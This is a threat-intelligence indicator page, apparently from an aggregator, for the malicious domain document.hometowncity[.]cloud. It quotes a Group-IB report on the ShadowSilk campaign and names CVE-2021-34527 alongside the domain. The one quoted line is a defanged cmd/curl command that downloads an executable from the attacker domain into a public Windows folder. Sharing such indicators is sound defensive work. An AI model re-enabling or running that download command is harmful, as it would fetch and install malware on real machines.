ctrlINT What the industry said about every indicator, with the quote

document.hometowncity[.]cloudDomain

Reported by 1 independent source · first reported by Group-IB · last reported

Last reported 13 months ago

What the reports say

1 report, newest first · the exact sentence from each

  1. “/73640 cmd /c curl -o c:\users\public\music\147.exe hxxps://document.hometowncity[.]cloud/svcnost.exe”

    Group-IBVendor
    ShadowSilk: A Cross-Border Binary Union for Data Exfiltration

Indicators reported together

named in the same reports
Copy this indicator · defanged

Also named with it: CVE-2021-34527

Thanks — we review every report.

Report a wrong value
What is wrong with document.hometowncity[.]cloud here?
No account needed. We do not store your IP address.